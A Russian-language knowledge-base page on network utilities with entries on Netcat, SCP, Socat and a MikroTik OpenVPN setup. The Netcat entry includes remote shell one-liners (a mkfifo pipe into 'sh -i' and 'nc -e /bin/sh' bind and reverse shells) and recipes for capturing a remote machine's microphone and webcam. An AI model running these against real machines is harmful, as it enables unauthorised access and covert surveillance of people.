Библиотека знаний - networks

MTR

Anonymous (anonymous@undisclosed.example.com) — 2016-05-21T13:52:55+00:00

shell, networks, networking, network, utils

MTR

Netcat

Anonymous (anonymous@undisclosed.example.com) — 2024-04-11T19:23:17+00:00

networks, networking, network, utils, shell, ports, scanner

network, tools, client

Netcat

Netcat - это сетевой инструмент, её основная задача – проверка портов.

$ nc -nv 192.168.0.178 80
$ nc -nlvp 4444
$ nc -nv 192.168.0.178 4444
$ nc -v 127.1.0.1 3306
$ echo "help" | nc 192.168.1.132 2181

-h Справка; ничего не делается
-v Дополнительная диагностика (verbose)
-o выходной_файл Выводить дампы данных
-i число Задержка между отправляемыми данными (в секундах)
-t Совместимость с Telnet
-z Не посылать данные (сканирование портов)
-u Подключаться по UDP (вместо TCP)
-l Пассивный режим (прослушивание порта)
-p число * Локальный номер порта (для -l)
-s host Использовать заданный локальный («свой») IP-адрес
-n Отключить DNS и поиск номеров портов по /etc/services
-w число Задать тайм-аут (в секундах)
-q число Задать время ожидания после EOF на входе (в секундах)
-e исполняемый_файл ! Запустить указанную программу для обмена данных с сетью (вместо стандартных ввода и вывода)
-с команда ! То же, в виде команды для /bin/sh
-k Продолжить слушать другие соединения после того как текущее соединение было завершено.

Утилита netcat по сути не делает ничего, кроме копирования данных в сетевой порт и из него, но при этом с ее помощью можно:

Прослушивание порта

$ nc -nlv 8080 > /tmp/log.txt &
$ echo -n "GET / HTTP/1.0\r\n\r\n" | nc 127.0.0.1 8080
$ cat /tmp/log.txt

Получать сообщения

$ nc -lp 8080 > /tmp/log.txt &
$ nc 0.0.0.0 8080
$ cat /tmp/log.txt

Передавать файлы

(первую команду выполняем на принимающей машине, вторую - на передающей:

  $ nc -l 31334 > filename
  $ nc 172.16.69.143 31334 < filename

Удаленно читать логи

(первая - сервер, вторая - клиент):

  $ nc -f /var/log/messages | nc -l 31334
  $ nc 172.16.69.143 31334

Использовать вместо telnet

(первая - telnet-сервер, вторая - клиент):

  $ nc -l -p 31334 -e /bin/sh
  $ nc 172.16.69.143 31334

Сканировать на открытые порты

$ nc -z execbit.ru 1-1024
$ nc -vz 192.168.1.132 1-1000 2>&1 | grep succeeded --color
$ nc -vzu 192.168.1.132 1-1000 2>&1 | grep succeeded --color

Создавать удалённую оболочку

Сначала удалим старый именованный канал (rm /tmp/f), на его месте создадим новый (mkfifo /tmp/f), прочитаем его содержимое (cat /tmp/f), а на его вывод отправим команду оболочки (sh -i 2>&1). После этого останется запустить nc с выводом в наш именованный канал (nc 192.168.1.132 8080 >/tmp/f):

$ nc -lvnp 8080
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.1.132 8080 >/tmp/f

Осуществлять фингерпринт сервисов на основе баннеров

  $ echo "QUIT" | nc execbit.ru 1-1024

Организовывать обратный шелл

(первая - клиент, вторая - сервер, однако шелл откроется от сервера к клиенту):

  $ nc -e /bin/sh 172.16.69.143 31334
  $ nc -l -p 31334

Делать микрофонную запись с удаленной машины

(сервер, клиент):

  $ arecord -f dat -t raw | nc -l 31337
  $ nc 172.16.69.143 31337 | oggenc - -r -o nc.ogg

Получать снимки с web-камеры удаленной машины

(сервер, клиент):

  $ while [ 1 ]; do streamer -o /tmp/photo.jpeg; nc -l 31337 < /tmp/photo.jpeg; done
  $ nc localhost 31337 > photo.jpeg

Однако, важно понимать, что существует несколько версий netcat, поведение которых может отличаться. Экземпляр, поставляемый с дистрибутивами Linux, - это оригинал, доживший до наших дней. Все пять приведенных примеров он отработает без проблем. Версия под названием GNU Netcat не поддерживает опции -e, поэтому второй и пятый примеры она не воспримет.

Особого внимания заслуживает netcat, распространяемый вместе с BSD-системами, опция -e в нем есть, но предназначена она для шифрования входящего и исходящего трафика методом IPSec ESP:

  $ nc -e 'in ipsec esp/transport//require' -e 'out ipsec esp/transport//require' \
  172.16.69.143 31334

Кроме того, BSD Netcat способен подключаться к удаленной машине через прокси:

  $ nc -x172.16.64.1:8080 -Xconnect 172.16.69.143 31334

В этом примере прокси находится по адресу 172.16.64.1:8080, а флаг -Xconnect говорит о том, что он работает с протоколом HTTP. Также поддерживаются SOCKS версий 4 и 5, но о них следует информировать netcat через флаг -X4 или -X5.

Сам netcat легко использовать в качестве прокси или редиректора портов, но в этом случае его лучше связать с демоном inetd:

  $ echo 'redirect-2525-to-25 2525/tcp' >> /etc/services
  $ echo 'redirect-2525-to-25 stream tcp nowait nobody /usr/bin/nc nc -w 2 127.0.0.1 25' \
  >> /etc/inetd.conf
  $ killall -HUP inetd

Теперь весь трафик, пришедший на порт 2525, будет перенаправляться на стандартный 25-й SMTP-порт. Таким же образом мы можем завернуть трафик с любого порта на другой порт/машину, просто видоизменив первые две команды.

Кстати, пользователи дистрибутивов Linux могут вообще не заморачиваться с netcat: демон xinetd, ставший стандартом в Linux-системах, сам умеет перенаправлять сетевой трафик:

cat /etc/xinetd/redirect

  
  service redirect-2525-to-25
  {
    disable = no
    type = UNLISTED
    socket_type = stream
    protocol = tcp
    wait = no
    port = 2525
    redirect = 127.0.0.1 25
    user = nobody
  }

Сетевые утилиты

BeEF - The Browser Exploitation Framework Project	2017/01/01 15:21	network, xss, atack, hacker
Dig	2015/10/13 09:01	network, networking, dig, nslookup, linux
REG	2015/10/13 09:01	networks, networking, network
dnsmasq	2015/10/13 09:01	networks, networking, network
lsof - Отслеживание программ изменяющих файлы	2015/10/13 09:01	shell, networks, networking, network, utils, port, testat
Сети	2015/10/13 09:01	network, networks, utils
Nslookup	2016/08/22 21:42	network, networking, dig, nslookup, linux
Синхронизация времени (time sync)	2015/10/13 09:01	shell, utils, network, time, sync, debian, ubuntu, ntpdate
Библиотека знаний	2025/09/26 15:37	network, os, developing, develop, mysql, mongo, redis, software, shell, commands, script, utils, nginx, languages
tcpdump	2015/10/13 09:01	shell, networks, networking, network, utils
Wireshark сетевой сканер	2015/10/13 09:01	network
ApacheBench в простанародии ab	2015/10/13 09:01	utils, shell, system, command, apache, apache utils, benchmark, networks, networking, network
SSTP клиент	2024/08/22 17:05	remote, client, networks, networking, network, openvpn, vpn
Netstat	2015/10/13 09:01	shell, networks, networking, network, utils
Nmap (“Network Mapper”) - Сетевой сканер	2016/09/10 15:12	network, scanner
OWASP ZAP - Сканер уязвимостей сайта	2016/09/10 15:10	network, scanner
MTR	2015/10/13 09:01	shell, networks, networking, network, utils
Netcat	2015/10/13 09:01	networks, networking, network, utils, shell, ports, scanner, tools, client
SCP - Копирование или заливка файлов с удаленой машины/на удаленную машину	2015/10/13 09:01	networks, networking, network
REST	2015/10/13 09:01	networks, networking, network
Socat	2016/04/04 13:08	networks, networking, network
VPN	2015/10/13 09:01	networks, networking, network, vpn, openvpn, mikrotik
Routers/Маршрутизаторы	2015/10/13 09:01	os, bash, shell, sh, commands, router, distrib, mikrotik, net, sniffer, network, wireshark
RSYNC - Документация	2015/10/13 09:01	shell, network, utils, backup, ssh, rsync
Конвертирвоние из openssh в ssh-2	2018/03/10 12:23	ssh, openssh, rsa, dsa, networks, networking, network
Backup с помощью rsyncd	2015/10/13 09:01	shell, utils, network, rsync, rsyncd, backup
fail2ban	2015/10/13 09:01	network, demon, server, shell, software, service, iptables, utils
ip	2015/10/13 09:01	networks, networking, network
IPTraf - IP Network Monitoring Software	2015/10/13 09:01	shell, networks, networking, network, utils
Настройка сети в Linux / Debian	2015/10/13 09:01	networks, networking, network, linux, debian, dhcp
OpenVPN	2015/10/13 09:01	networks, networking, network, openvpn, vpn
Power DNS	2015/10/13 09:01	networks, networking, network
Pure-FTPd	2015/10/13 09:01	networks, networking, network, pureftpd
route	2015/10/13 09:01	networks, networking, network
Rsync - Синхронизация папок (может выполняться через ssh)	2015/10/13 09:01	shell, utils, networks, networking, network, rsync, ssh
RSYNC удаленная синхронизация	2015/10/13 09:01	shell, utils, network, rsync
Shorewall - Инструмент конфигурирования шлюза/фаервола	2015/10/13 09:01	firewall, iptables, utils, shell, networks, networking, network
SSH клиент / сервер	2015/10/13 09:01	ssh, openssh, rsa, dsa, networks, networking, network
Бэкап с помощью rsync на Debian	2015/10/13 09:01	shell, utils, network, backup, rsync, ssh
Кириллица и rsync под Windows	2015/10/13 09:01	shell, utils, network, windows, rsync, ssh
Настройка RSYNC для точной синхронизации данных	2015/10/13 09:01	shell, utils, network, rsync, ssh
Примеры работы с данными на локальной машине	2015/10/13 09:01	shell, utils, network, scp, rsync, ssh
Multi IP	2015/10/13 09:01	networks, networking, network
Siege — утилита для нагрузочного тестирования веб-серверов	2016/03/30 08:47	utils, server, ab, test, networks, networking, network

SCP - Копирование или заливка файлов с удаленой машины/на удаленную машину

Anonymous (anonymous@undisclosed.example.com) — 2018-03-09T15:47:51+00:00

networks, networking, network

SCP - Копирование или заливка файлов с удаленой машины/на удаленную машину

с удаленной машины

Скопировать файлы с удаленной машины на локальную в папку /tmp:

$ scp -P 6166 -rp ваш_логин@имя_хоста.ru:./ /tmp

-r - скачать рекурсивно
-p - сохранить время создания и обновления файлов
-v - включить дебаг режим (verbose)

с локальной машины

Скопировать файлы с локальной машины на удаленную:

$ scp -P 6166 -rp ./ ваш_логин@имя_хоста.ru:/tmp

-P 6166 - Порт
-r - залить рекурсивно
-p - сохранить время создания и обновления файлов
-v - включить дебаг режим (verbose)

SFTP

sftp root@site.ru

Монтирование

mount - Монтирование файловой системы

REST

Anonymous (anonymous@undisclosed.example.com) — 2016-05-21T13:57:21+00:00

networks, networking, network

REST

Редакторы

Описание

http://msdn.microsoft.com/en-us/library/live/hh243648.aspx

Socat

Anonymous (anonymous@undisclosed.example.com) — 2016-05-21T13:46:12+00:00

networks, networking, network

Socat

Socat - это ретранслятор для двунаправленной передачи данных между двумя независимыми каналами. Каждый из этих каналов передачи данных может быть файлом, каналом, устройством (терминал, модем и т.п.), сокетом (Unix, IP4, IP6 - raw, UDP, TCP), клиентом SOCKS4, подключением через proxy-сервер, SSL и т.п. Он поддерживает порождение потомков, журнализацию, сброс дампов, различные режимы межпроцессного взаимодействия и многие другие опции. Его можно использовать, например, как ретранслятор TCP (разовый или в режиме даемона), для обеспечения прозрачной поддержки SOCKS, в качестве интерфейса к сокетам Unix для командного интерпретатора, как ретранслятор IP6f для перенаправления ориентированных на TCP программ через последовательный интерфейс или для создания сравнительно безопасной среды (su или chroot) для запуска клиентских или серверных сценариев командного интерпретатора с сетевыми соединениями.

Пример проксирования unixsocket на tcp

Проксирует запросы с unixsocket на tcp порт. В качестве примера проброшен порт для Redis сервера

$ socat -v tcp-l:6378,reuseaddr,fork unix:/var/run/redis/redis.sock

VPN

Anonymous (anonymous@undisclosed.example.com) — 2016-07-23T22:14:38+00:00

networks, networking, network, vpn, openvpn, mikrotik

VPN

apt-get install uml-utilities

Установка

Установка интерфейсов для MAC OS http://tuntaposx.sourceforge.net/

tap

Интерфейс реализует сетевое ethernet соеденение

tun

Интерфейс реализует соеденение по IP протоколу

Настройка

Local network: 192.168.1.0 OpenVPN Network: 172.0.0.1

#proto tcp-client

client

# Mikrotik не умеет работать с UDP
proto tcp

# в этой строчке мы указываем адрес в интернете нашего микротика
remote [IP]

#dev tun
dev tap0

nobind
persist-key

tls-client

script-security 2

#указываем имена публичного CA сертификата
ca ca.crt

# публичного сертификата клиента
cert cert-comp.crt

# и его закрытый ключ
key  cert-comp.key
ping 10
verb 5
ns-cert-type server
cipher AES-256-CBC
auth SHA1
pull

# эта строка задаёт файл с логином-паролем которые мы прописывали в PPP-Secrets на микротике
auth-user-pass auth.cfg

# в этой части мы задаём настройки сетей которые находятся за микротиком,
# в моём случае 192.168.1.0 с маской 255.255.255.0 это сеть,
# а 172.0.0.1 это адрес микротика который мы указывали в PPP профиле
route-method exe
route-delay 2
route 192.168.1.0 255.255.255.0 172.0.0.1

MIKROTIK-IP-OPENVPN-SERVER

PPP -> Profiles

Name: VPN
Local Address: 172.0.0.1
Remote Address: [IP-POOL-NAME]

IP-POOL-NAME

IP -> Pool

Name: VPN
Addresses: 172.0.0.2-172.0.0.254
Next Pool: none

Open VPN Server

PPP -> OVPN Server

Port: 1194
Mode: Ethernet
Netmask: 24
Max MTU: 1500
Keepalive Timeout: 120
Default Profile: [MIKROTIK-IP-OPENVPN-SERVER]

Auth

PPP -> Secrets

Service: ovpn
Profile: [MIKROTIK-IP-OPENVPN-SERVER]

Firewall

IP -> Firewall

Chain: Input
Protocol: tcp
Dst. Port: 1194
In. Interface: ether1-gateway
Action: accept